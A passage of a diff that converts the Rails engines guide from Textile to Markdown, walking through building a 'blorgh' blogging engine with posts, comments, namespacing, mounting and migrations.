applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the +Rails::Application+ class inheriting a lot of its behaviour from +Rails::Engine+. +Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the `Rails::Application` class inheriting a lot of its behaviour from `Rails::Engine`. Therefore, engines and applications can be thought of almost the same thing, just with very minor differences, as you'll see throughout this guide. Engines and applications also share a common structure. -Engines are also closely related to plugins where the two share a common +lib+ directory structure and are both generated using the +rails plugin new+ generator. The difference being that an engine is considered a "full plugin" by Rails as indicated by the +--full+ option that's passed to the generator command, but this guide will refer to them simply as "engines" throughout. An engine *can* be a plugin, and a plugin *can* be an engine. +Engines are also closely related to plugins where the two share a common `lib` directory structure and are both generated using the `rails plugin new` generator. The difference being that an engine is considered a "full plugin" by Rails as indicated by the `--full` option that's passed to the generator command, but this guide will refer to them simply as "engines" throughout. An engine **can** be a plugin, and a plugin **can** be an engine. The engine that will be created in this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. At the beginning of this guide, you will be working solely within the engine itself, but in later sections you'll see how to hook it into an application. -Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as +posts_path+ and use an engine also that provides a path also called +posts_path+, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide. +Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as `posts_path` and use an engine also that provides a path also called `posts_path`, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide. -It's important to keep in mind at all times that the application should *always* take precedence over its engines. An application is the object that has final say in what goes on in the universe (with the universe being the application's environment) where the engine should only be enhancing it, rather than changing it drastically. +It's important to keep in mind at all times that the application should **always** take precedence over its engines. An application is the object that has final say in what goes on in the universe (with the universe being the application's environment) where the engine should only be enhancing it, rather than changing it drastically. -To see demonstrations of other engines, check out "Devise":https://github.com/plataformatec/devise, an engine that provides authentication for its parent applications, or "Forem":https://github.com/radar/forem, an engine that provides forum functionality. There's also "Spree":https://github.com/spree/spree which provides an e-commerce platform, and "RefineryCMS":https://github.com/resolve/refinerycms, a CMS engine. +To see demonstrations of other engines, check out [Devise](https://github.com/plataformatec/devise), an engine that provides authentication for its parent applications, or [Forem](https://github.com/radar/forem), an engine that provides forum functionality. There's also [Spree](https://github.com/spree/spree) which provides an e-commerce platform, and [RefineryCMS](https://github.com/resolve/refinerycms), a CMS engine. Finally, engines would not have been possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks! -h3. Generating an engine +Generating an engine +-------------------- -To generate an engine with Rails 3.1, you will need to run the plugin generator and pass it the +--full+ and +--mountable+ options. To generate the beginnings of the "blorgh" engine you will need to run this command in a terminal: +To generate an engine with Rails 3.1, you will need to run the plugin generator and pass it the `--full` and `--mountable` options. To generate the beginnings of the "blorgh" engine you will need to run this command in a terminal: -<shell> +```bash $ rails plugin new blorgh --full --mountable -</shell> +``` The full list of options for the plugin generator may be seen by typing: -<shell> +```bash $ rails plugin --help -</shell> +``` -The +--full+ option tells the plugin generator that you want to create an engine, creating the basic directory structure of an engine by providing things such as an +app+ directory and a +config/routes.rb+ file. This generator also provides a file at +lib/blorgh/engine.rb+ which is identical in function to a standard Rails application's +config/application.rb+ file. +The `--full` option tells the plugin generator that you want to create an engine, creating the basic directory structure of an engine by providing things such as an `app` directory and a `config/routes.rb` file. This generator also provides a file at `lib/blorgh/engine.rb` which is identical in function to a standard Rails application's `config/application.rb` file. -The +--mountable+ option tells the generator to mount the engine inside the dummy testing application located at +test/dummy+. It does this by placing this line into the dummy application's routes file at +test/dummy/config/routes.rb+: +The `--mountable` option tells the generator to mount the engine inside the dummy testing application located at `test/dummy`. It does this by placing this line into the dummy application's routes file at `test/dummy/config/routes.rb`: -<ruby> +```ruby mount Blorgh::Engine, :at => "blorgh" -</ruby> +``` -h4. Inside an engine +### Inside an engine -h5. Critical files +#### Critical files -At the root of this brand new engine's directory lives a +blorgh.gemspec+ file. When you include the engine into an application later on, you will do so with this line in the Rails application's +Gemfile+: +At the root of this brand new engine's directory lives a `blorgh.gemspec` file. When you include the engine into an application later on, you will do so with this line in the Rails application's `Gemfile`: -<ruby> +```ruby gem 'blorgh', :path => "vendor/engines/blorgh" -</ruby> +``` -By specifying it as a gem within the +Gemfile+, Bundler will load it as such, parsing this +blorgh.gemspec+ file and requiring a file within the +lib+ directory called +lib/blorgh.rb+. This file requires the +blorgh/engine.rb+ file (located at +lib/blorgh/engine.rb+) and defines a base module called +Blorgh+. +By specifying it as a gem within the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file and requiring a file within the `lib` directory called `lib/blorgh.rb`. This file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) and defines a base module called `Blorgh`. -<ruby> +```ruby require "blorgh/engine" module Blorgh end -</ruby> +``` -TIP: Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, and so if you want to offer configuration options, the file where your engine's +module+ is defined is perfect for that. Place the methods inside the module and you'll be good to go. +TIP: Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, and so if you want to offer configuration options, the file where your engine's `module` is defined is perfect for that. Place the methods inside the module and you'll be good to go. -Within +lib/blorgh/engine.rb+ is the base class for the engine: +Within `lib/blorgh/engine.rb` is the base class for the engine: -<ruby> +```ruby module Blorgh class Engine < Rails::Engine isolate_namespace Blorgh end end -</ruby> +``` -By inheriting from the +Rails::Engine+ class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the +app+ directory of the engine to the load path for models, mailers, controllers and views. +By inheriting from the `Rails::Engine` class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the `app` directory of the engine to the load path for models, mailers, controllers and views. -The +isolate_namespace+ method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such conflicts are helpers. Without calling +isolate_namespace+, engine's helpers would be included in an application's controllers. +The `isolate_namespace` method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such conflicts are helpers. Without calling `isolate_namespace`, engine's helpers would be included in an application's controllers. -NOTE: It is *highly* recommended that the +isolate_namespace+ line be left within the +Engine+ class definition. Without it, classes generated in an engine *may* conflict with an application. +NOTE: It is **highly** recommended that the `isolate_namespace` line be left within the `Engine` class definition. Without it, classes generated in an engine **may** conflict with an application. -What this isolation of the namespace means is that a model generated by a call to +rails g model+ such as +rails g model post+ won't be called +Post+, but instead be namespaced and called +Blorgh::Post+. In addition, the table for the model is namespaced, becoming +blorgh_posts+, rather than simply +posts+. Similar to the model namespacing, a controller called +PostsController+ becomes +Blorgh::PostsController+ and the views for that controller will not be at +app/views/posts+, but +app/views/blorgh/posts+ instead. Mailers are namespaced as well. +What this isolation of the namespace means is that a model generated by a call to `rails g model` such as `rails g model post` won't be called `Post`, but instead be namespaced and called `Blorgh::Post`. In addition, the table for the model is namespaced, becoming `blorgh_posts`, rather than simply `posts`. Similar to the model namespacing, a controller called `PostsController` becomes `Blorgh::PostsController` and the views for that controller will not be at `app/views/posts`, but `app/views/blorgh/posts` instead. Mailers are namespaced as well. -Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the "Routes":#routes section of this guide. +Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the [Routes](#routes) section of this guide. -h5. +app+ directory +#### `app` directory -Inside the +app+ directory are the standard +assets+, +controllers+, +helpers+, +mailers+, +models+ and +views+ directories that you should be familiar with from an application. The +helpers+, +mailers+ and +models+ directories are empty and so aren't described in this section. We'll look more into models in a future section, when we're writing the engine. +Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, `mailers`, `models` and `views` directories that you should be familiar with from an application. The `helpers`, `mailers` and `models` directories are empty and so aren't described in this section. We'll look more into models in a future section, when we're writing the engine. -Within the +app/assets+ directory, there are the +images+, +javascripts+ and +stylesheets+ directories which, again, you should be familiar with due to their similarity to an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too. +Within the `app/assets` directory, there are the `images`, `javascripts` and `stylesheets` directories which, again, you should be familiar with due to their similarity to an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too. -Within the +app/controllers+ directory there is a +blorgh+ directory and inside that a file called +application_controller.rb+. This file will provide any common functionality for the controllers of the engine. The +blorgh+ directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application. +Within the `app/controllers` directory there is a `blorgh` directory and inside that a file called `application_controller.rb`. This file will provide any common functionality for the controllers of the engine. The `blorgh` directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application. -NOTE: The +ApplicationController+ class inside an engine is named just like a Rails application in order to make it easier for you to convert your applications into engines. +NOTE: The `ApplicationController` class inside an engine is named just like a Rails application in order to make it easier for you to convert your applications into engines. -Lastly, the +app/views+ directory contains a +layouts+ folder which contains a file at +blorgh/application.html.erb+ which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the application's +app/views/layouts/application.html.erb+ file. +Lastly, the `app/views` directory contains a `layouts` folder which contains a file at `blorgh/application.html.erb` which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the application's `app/views/layouts/application.html.erb` file. If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine. -h5. +script+ directory +#### `script` directory -This directory contains one file, +script/rails+, which enables you to use the +rails+ sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine by running commands like this: +This directory contains one file, `script/rails`, which enables you to use the `rails` sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine by running commands like this: -<shell> +```bash rails g model -</shell> +``` -Keeping in mind, of course, that anything generated with these commands inside an engine that has +isolate_namespace+ inside the +Engine+ class will be namespaced. +Keeping in mind, of course, that anything generated with these commands inside an engine that has `isolate_namespace` inside the `Engine` class will be namespaced. -h5. +test+ directory +#### `test` directory -The +test+ directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at +test/dummy+. This application will mount the engine in the +test/dummy/config/routes.rb+ file: +The `test` directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at `test/dummy`. This application will mount the engine in the `test/dummy/config/routes.rb` file: -<ruby> +```ruby Rails.application.routes.draw do mount Blorgh::Engine => "/blorgh" end -</ruby> +``` -This line mounts the engine at the path +/blorgh+, which will make it accessible through the application only at that path. +This line mounts the engine at the path `/blorgh`, which will make it accessible through the application only at that path. -Also in the test directory is the +test/integration+ directory, where integration tests for the engine should be placed. Other directories can be created in the +test+ directory also. For example, you may wish to create a +test/unit+ directory for your unit tests. +Also in the test directory is the `test/integration` directory, where integration tests for the engine should be placed. Other directories can be created in the `test` directory also. For example, you may wish to create a `test/unit` directory for your unit tests. -h3. Providing engine functionality +Providing engine functionality +------------------------------ -The engine that this guide covers provides posting and commenting functionality and follows a similar thread to the "Getting Started Guide":getting_started.html, with some new twists. +The engine that this guide covers provides posting and commenting functionality and follows a similar thread to the [Getting Started Guide](getting_started.html), with some new twists. -h4. Generating a post resource +### Generating a post resource -The first thing to generate for a blog engine is the +Post+ model and related controller. To quickly generate this, you can use the Rails scaffold generator. +The first thing to generate for a blog engine is the `Post` model and related controller. To quickly generate this, you can use the Rails scaffold generator. -<shell> +```bash $ rails generate scaffold post title:string text:text -</shell> +``` This command will output this information: -<shell> +``` invoke active_record create db/migrate/[timestamp]_create_blorgh_posts.rb create app/models/blorgh/post.rb @@ -173,130 +177,130 @@ invoke css create app/assets/stylesheets/blorgh/posts.css invoke css create app/assets/stylesheets/scaffold.css -</shell> +``` -The first thing that the scaffold generator does is invoke the +active_record+ generator, which generates a migration and a model for the resource. Note here, however, that the migration is called +create_blorgh_posts+ rather than the usual +create_posts+. This is due to the +isolate_namespace+ method called in the +Blorgh::Engine+ class's definition. The model here is also namespaced, being placed at +app/models/blorgh/post.rb+ rather than +app/models/post.rb+ due to the +isolate_namespace+ call within the +Engine+ class. +The first thing that the scaffold generator does is invoke the `active_record` generator, which generates a migration and a model for the resource. Note here, however, that the migration is called `create_blorgh_posts` rather than the usual `create_posts`. This is due to the `isolate_namespace` method called in the `Blorgh::Engine` class's definition. The model here is also namespaced, being placed at `app/models/blorgh/post.rb` rather than `app/models/post.rb` due to the `isolate_namespace` call within the `Engine` class. -Next, the +test_unit+ generator is invoked for this model, generating a unit test at +test/unit/blorgh/post_test.rb+ (rather than +test/unit/post_test.rb+) and a fixture at +test/fixtures/blorgh/posts.yml+ (rather than +test/fixtures/posts.yml+). +Next, the `test_unit` generator is invoked for this model, generating a unit test at `test/unit/blorgh/post_test.rb` (rather than `test/unit/post_test.rb`) and a fixture at `test/fixtures/blorgh/posts.yml` (rather than `test/fixtures/posts.yml`). -After that, a line for the resource is inserted into the +config/routes.rb+ file for the engine. This line is simply +resources :posts+, turning the +config/routes.rb+ file for the engine into this: +After that, a line for the resource is inserted into the `config/routes.rb` file for the engine. This line is simply `resources :posts`, turning the `config/routes.rb` file for the engine into this: -<ruby> +```ruby Blorgh::Engine.routes.draw do resources :posts end -</ruby> +``` -Note here that the routes are drawn upon the +Blorgh::Engine+ object rather than the +YourApp::Application+ class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the "test directory":#test-directory section. This is also what causes the engine's routes to be isolated from those routes that are within the application. This is discussed further in the "Routes":#routes section of this guide. +Note here that the routes are drawn upon the `Blorgh::Engine` object rather than the `YourApp::Application` class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the [test directory](#test-directory) section. This is also what causes the engine's routes to be isolated from those routes that are within the application. This is discussed further in the [Routes](#routes) section of this guide. -Next, the +scaffold_controller+ generator is invoked, generating a controller called +Blorgh::PostsController+ (at +app/controllers/blorgh/posts_controller.rb+) and its related views at +app/views/blorgh/posts+. This generator also generates a functional test for the controller (+test/functional/blorgh/posts_controller_test.rb+) and a helper (+app/helpers/blorgh/posts_controller.rb+). +Next, the `scaffold_controller` generator is invoked, generating a controller called `Blorgh::PostsController` (at `app/controllers/blorgh/posts_controller.rb`) and its related views at `app/views/blorgh/posts`. This generator also generates a functional test for the controller (`test/functional/blorgh/posts_controller_test.rb`) and a helper (`app/helpers/blorgh/posts_controller.rb`). -Everything this generator has created is neatly namespaced. The controller's class is defined within the +Blorgh+ module: +Everything this generator has created is neatly namespaced. The controller's class is defined within the `Blorgh` module: -<ruby> +```ruby module Blorgh class PostsController < ApplicationController ... end end -</ruby> +``` -NOTE: The +ApplicationController+ class being inherited from here is the +Blorgh::ApplicationController+, not an application's +ApplicationController+. +NOTE: The `ApplicationController` class being inherited from here is the `Blorgh::ApplicationController`, not an application's `ApplicationController`. -The helper inside +app/helpers/blorgh/posts_helper.rb+ is also namespaced: +The helper inside `app/helpers/blorgh/posts_helper.rb` is also namespaced: -<ruby> +```ruby module Blorgh class PostsHelper ... end end -</ruby> +``` This helps prevent conflicts with any other engine or application that may have a post resource also. -Finally, two files that are the assets for this resource are generated, +app/assets/javascripts/blorgh/posts.js+ and +app/assets/javascripts/blorgh/posts.css+. You'll see how to use these a little later. +Finally, two files that are the assets for this resource are generated, `app/assets/javascripts/blorgh/posts.js` and `app/assets/javascripts/blorgh/posts.css`. You'll see how to use these a little later. -By default, the scaffold styling is not applied to the engine as the engine's layout file, +app/views/blorgh/application.html.erb+ doesn't load it. To make this apply, insert this line into the +<head>+ tag of this layout: +By default, the scaffold styling is not applied to the engine as the engine's layout file, `app/views/blorgh/application.html.erb` doesn't load it. To make this apply, insert this line into the `<head>` tag of this layout: -<erb> +```erb <%= stylesheet_link_tag "scaffold" %> -</erb> +``` -You can see what the engine has so far by running +rake db:migrate+ at the root of our engine to run the migration generated by the scaffold generator, and then running +rails server+ in +test/dummy+. When you open +http://localhost:3000/blorgh/posts+ you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions. +You can see what the engine has so far by running `rake db:migrate` at the root of our engine to run the migration generated by the scaffold generator, and then running `rails server` in `test/dummy`. When you open `http://localhost:3000/blorgh/posts` you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions. -If you'd rather play around in the console, +rails console+ will also work just like a Rails application. Remember: the +Post+ model is namespaced, so to reference it you must call it as +Blorgh::Post+. +If you'd rather play around in the console, `rails console` will also work just like a Rails application. Remember: the `Post` model is namespaced, so to reference it you must call it as `Blorgh::Post`. -<ruby> +```ruby >> Blorgh::Post.find(1) => #<Blorgh::Post id: 1 ...> -</ruby> +``` -One final thing is that the +posts+ resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the +config/routes.rb+ file inside the engine: +One final thing is that the `posts` resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the `config/routes.rb` file inside the engine: -<ruby> +```ruby root :to => "posts#index" -</ruby> +``` -Now people will only need to go to the root of the engine to see all the posts, rather than visiting +/posts+. This means that instead of +http://localhost:3000/blorgh/posts+, you only need to go to +http://localhost:3000/blorgh+ now. +Now people will only need to go to the root of the engine to see all the posts, rather than visiting `/posts`. This means that instead of `http://localhost:3000/blorgh/posts`, you only need to go to `http://localhost:3000/blorgh` now. -h4. Generating a comments resource +### Generating a comments resource Now that the engine has the ability to create new blog posts, it only makes sense to add commenting functionality as well. To do get this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones. -Run the model generator and tell it to generate a +Comment+ model, with the related table having two columns: a +post_id+ integer and +text+ text column. +Run the model generator and tell it to generate a `Comment` model, with the related table having two columns: a `post_id` integer and `text` text column. -<shell> +```bash $ rails generate model Comment post_id:integer text:text -</shell> +``` This will output the following: -<shell> +``` invoke active_record create db/migrate/[timestamp]_create_blorgh_comments.rb create app/models/blorgh/comment.rb invoke test_unit create test/unit/blorgh/comment_test.rb create test/fixtures/blorgh/comments.yml -</shell> +``` -This generator call will generate just the necessary model files it needs, namespacing the files under a +blorgh+ directory and creating a model class called +Blorgh::Comment+. +This generator call will generate just the necessary model files it needs, namespacing the files under a `blorgh` directory and creating a model class called `Blorgh::Comment`. -To show the comments on a post, edit +app/views/blorgh/posts/show.html.erb+ and add this line before the "Edit" link: +To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and add this line before the "Edit" link: -<erb> +```html+erb <h3>Comments</h3> <%= render @post.comments %> -</erb> +``` -This line will require there to be a +has_many+ association for comments defined on the +Blorgh::Post+ model, which there isn't right now. To define one, open +app/models/blorgh/post.rb+ and add this line into the model: +This line will require there to be a `has_many` association for comments defined on the `Blorgh::Post` model, which there isn't right now. To define one, open `app/models/blorgh/post.rb` and add this line into the model: -<ruby> +```ruby has_many :comments -</ruby> +``` Turning the model into this: -<ruby> +```ruby module Blorgh class Post < ActiveRecord::Base has_many :comments end end -</ruby> +``` -NOTE: Because the +has_many+ is defined inside a class that is inside the +Blorgh+ module, Rails will know that you want to use the +Blorgh::Comment+ model for these objects, so there's no need to specify that using the +:class_name+ option here. +NOTE: Because the `has_many` is defined inside a class that is inside the `Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` model for these objects, so there's no need to specify that using the `:class_name` option here. -Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to +render @post.comments+ in +app/views/blorgh/posts/show.html.erb+: +Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to `render @post.comments` in `app/views/blorgh/posts/show.html.erb`: -<erb> +```erb <%= render "blorgh/comments/form" %> -</erb> +``` -Next, the partial that this line will render needs to exist. Create a new directory at +app/views/blorgh/comments+ and in it a new file called +_form.html.erb+ which has this content to create the required partial: +Next, the partial that this line will render needs to exist. Create a new directory at `app/views/blorgh/comments` and in it a new file called `_form.html.erb` which has this content to create the required partial: -<erb> +```html+erb <h3>New comment</h3> <%= form_for [@post, @post.comments.build] do |f| %> <p> @@ -305,27 +309,27 @@ Next, the partial that this line will render needs to exist. Create a new direct </p> <%= f.submit %> <% end %> -</erb> +``` -When this form is submitted, it is going to attempt to perform a +POST+ request to a route of +/posts/:post_id/comments+ within the engine. This route doesn't exist at the moment, but can be created by changing the +resources :posts+ line inside +config/routes.rb+ into these lines: +When this form is submitted, it is going to attempt to perform a `POST` request to a route of `/posts/:post_id/comments` within the engine. This route doesn't exist at the moment, but can be created by changing the `resources :posts` line inside `config/routes.rb` into these lines: -<ruby> +```ruby resources :posts do resources :comments end -</ruby> +``` This creates a nested route for the comments, which is what the form requires. The route now exists, but the controller that this route goes to does not. To create it, run this command: -<shell> +```bash $ rails g controller comments -</shell> +``` This will generate the following things: -<shell> +``` create app/controllers/blorgh/comments_controller.rb invoke erb exist app/views/blorgh/comments @@ -340,144 +344,145 @@ invoke js create app/assets/javascripts/blorgh/comments.js invoke css create app/assets/stylesheets/blorgh/comments.css -</shell> +``` -The form will be making a +POST+ request to +/posts/:post_id/comments+, which will correspond with the +create+ action in +Blorgh::CommentsController+. This action needs to be created and can be done by putting the following lines inside the class definition in +app/controllers/blorgh/comments_controller.rb+: +The form will be making a `POST` request to `/posts/:post_id/comments`, which will correspond with the `create` action in `Blorgh::CommentsController`. This action needs to be created and can be done by putting the following lines inside the class definition in `app/controllers/blorgh/comments_controller.rb`: -<ruby> +```ruby def create @post = Post.find(params[:post_id]) @comment = @post.comments.create(params[:comment]) flash[:notice] = "Comment has been created!" redirect_to post_path end -</ruby> +``` This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error: -<plain> +``` Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in: * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" * "/Users/ryan/Sites/side_projects/blorgh/app/views" -</plain> +``` -The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (+test/dummy+) +app/views+ directory and then in the engine's +app/views+ directory. When it can't find it, it will throw this error. The engine knows to look for +blorgh/comments/comment+ because the model object it is receiving is from the +Blorgh::Comment+ class. +The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (`test/dummy`) `app/views` directory and then in the engine's `app/views` directory. When it can't find it, it will throw this error. The engine knows to look for `blorgh/comments/comment` because the model object it is receiving is from the `Blorgh::Comment` class. -This partial will be responsible for rendering just the comment text, for now. Create a new file at +app/views/blorgh/comments/_comment.html.erb+ and put this line inside it: +This partial will be responsible for rendering just the comment text, for now. Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this line inside it: -<erb> +```erb <%= comment_counter + 1 %>. <%= comment.text %> -</erb> +``` -The +comment_counter+ local variable is given to us by the +<%= render @post.comments %>+ call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created. +The `comment_counter` local variable is given to us by the `<%= render @post.comments %>` call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created. That completes the comment function of the blogging engine. Now it's time to use it within an application. -h3. Hooking into an application +Hooking into an application +--------------------------- -Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required, as well as linking the engine to a +User+ class provided by the application to provide ownership for posts and comments within the engine. +Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required, as well as linking the engine to a `User` class provided by the application to provide ownership for posts and comments within the engine. -h4. Mounting the engine +### Mounting the engine -First, the engine needs to be specified inside the application's +Gemfile+. If there isn't an application handy to test this out in, generate one using the +rails new+ command outside of the engine directory like this: +First, the engine needs to be specified inside the application's `Gemfile`. If there isn't an application handy to test this out in, generate one using the `rails new` command outside of the engine directory like this: -<shell> +```bash $ rails new unicorn -</shell> +``` Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem. -<ruby> +```ruby gem 'devise' -</ruby> +``` -However, because you are developing the +blorgh+ engine on your local machine, you will need to specify the +:path+ option in your +Gemfile+: +However, because you are developing the `blorgh` engine on your local machine, you will need to specify the `:path` option in your `Gemfile`: -<ruby> +```ruby gem 'blorgh', :path => "/path/to/blorgh" -</ruby> +``` -As described earlier, by placing the gem in the +Gemfile+ it will be loaded when Rails is loaded, as it will first require +lib/blorgh.rb+ in the engine and then +lib/blorgh/engine.rb+, which is the file that defines the major pieces of functionality for the engine. +As described earlier, by placing the gem in the `Gemfile` it will be loaded when Rails is loaded, as it will first require `lib/blorgh.rb` in the engine and then `lib/blorgh/engine.rb`, which is the file that defines the major pieces of functionality for the engine. -To make the engine's functionality accessible from within an application, it needs to be mounted in that application's +config/routes.rb+ file: +To make the engine's functionality accessible from within an application, it needs to be mounted in that application's `config/routes.rb` file: -<ruby> +```ruby mount Blorgh::Engine, :at => "/blog" -</ruby> +``` -This line will mount the engine at +/blog+ in the application. Making it accessible at +http://localhost:3000/blog+ when the application runs with +rails server+. +This line will mount the engine at `/blog` in the application. Making it accessible at `http://localhost:3000/blog` when the application runs with `rails server`. -NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as +devise_for+ in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable. +NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as `devise_for` in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable. -h4. Engine setup +### Engine setup -The engine contains migrations for the +blorgh_posts+ and +blorgh_comments+ table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command: +The engine contains migrations for the `blorgh_posts` and `blorgh_comments` table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command: -<shell> +```bash $ rake blorgh:install:migrations -</shell> +``` -If you have multiple engines that need migrations copied over, use +railties:install:migrations+ instead: +If you have multiple engines that need migrations copied over, use `railties:install:migrations` instead: -<shell> +```bash $ rake railties:install:migrations -</shell> +``` This command, when run for the first time will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this: -<shell> +```bash Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh -</shell> +``` -The first timestamp (+\[timestamp_1\]+) will be the current time and the second timestamp (+\[timestamp_2\]+) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application. +The first timestamp (`[timestamp_1]`) will be the current time and the second timestamp (`[timestamp_2]`) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application. -To run these migrations within the context of the application, simply run +rake db:migrate+. When accessing the engine through +http://localhost:3000/blog+, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine. +To run these migrations within the context of the application, simply run `rake db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine. -If you would like to run migrations only from one engine, you can do it by specifying +SCOPE+: +If you would like to run migrations only from one engine, you can do it by specifying `SCOPE`: -<shell> +```bash rake db:migrate SCOPE=blorgh -</shell> +``` This may be useful if you want to revert engine's migrations before removing it. In order to revert all migrations from blorgh engine you can run such code: -<shell> +```bash rake db:migrate SCOPE=blorgh VERSION=0 -</shell> +``` -h4. Using a class provided by the application +### Using a class provided by the application -h5. Using a model provided by the application +#### Using a model provided by the application -When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the +blorgh+ engine, making posts and comments have authors would make a lot of sense. +When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the `blorgh` engine, making posts and comments have authors would make a lot of sense. -A typical application might have a +User+ class that would be used to represent authors for a post or a comment. But there could be a case where the application calls this class something different, such as +Person+. For this reason, the engine should not hardcode associations specifically for a +User+ class. +A typical application might have a `User` class that would be used to represent authors for a post or a comment. But there could be a case where the application calls this class something different, such as `Person`. For this reason, the engine should not hardcode associations specifically for a `User` class. -To keep it simple in this case, the application will have a class called +User+ which will represent the users of the application. It can be generated using this command inside the application: +To keep it simple in this case, the application will have a class called `User` which will represent the users of the application. It can be generated using this command inside the application: -<shell> +```bash rails g model user name:string -</shell> +``` -The +rake db:migrate+ command needs to be run here to ensure that our application has the +users+ table for future use. +The `rake db:migrate` command needs to be run here to ensure that our application has the `users` table for future use. -Also, to keep it simple, the posts form will have a new text field called +author_name+ where users can elect to put their name. The engine will then take this name and create a new +User+ object from it or find one that already has that name, and then associate the post with it. +Also, to keep it simple, the posts form will have a new text field called `author_name` where users can elect to put their name. The engine will then take this name and create a new `User` object from it or find one that already has that name, and then associate the post with it. -First, the +author_name+ text field needs to be added to the +app/views/blorgh/posts/_form.html.erb+ partial inside the engine. This can be added above the +title+ field with this code: +First, the `author_name` text field needs to be added to the `app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be added above the `title` field with this code: -<erb> +```html+erb <div class="field"> <%= f.label :author_name %><br /> <%= f.text_field :author_name %> </div> -</erb> +``` -The +Blorgh::Post+ model should then have some code to convert the +author_name+ field into an actual +User+ object and associate it as that post's +author+ before the post is saved. It will also need to have an +attr_accessor+ setup for this field so that the setter and getter methods are defined for it. +The `Blorgh::Post` model should then have some code to convert the `author_name` field into an actual `User` object and associate it as that post's `author` before the post is saved. It will also 